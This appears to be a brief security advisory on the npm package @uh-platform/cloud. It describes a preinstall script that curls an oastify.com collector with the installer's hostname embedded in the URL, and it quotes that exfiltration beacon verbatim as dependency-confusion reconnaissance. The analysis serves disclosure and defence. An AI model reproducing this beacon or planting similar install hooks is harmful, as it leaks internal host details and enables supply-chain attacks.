@uh-platform/cloud@101.0.0

The package's preinstall lifecycle script (index.js) runs child_process.exec of `curl "http://$(hostname).pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/"`, placing the installer's hostname into the DNS label of a request to a Burp Collaborator out-of-band collector on oastify.com. This fires automatically on `npm install` before any user code runs. The scoped name (@uh-platform/*) combined with the OAST beacon carrying the internal hostname is the standard dependency-confusion reconnaissance pattern: the beacon identifies internal hosts that resolve the scope from the public registry, enabling follow-on targeting. No legitimate function of the package is present; the tarball's only on-install effect is the exfiltration beacon.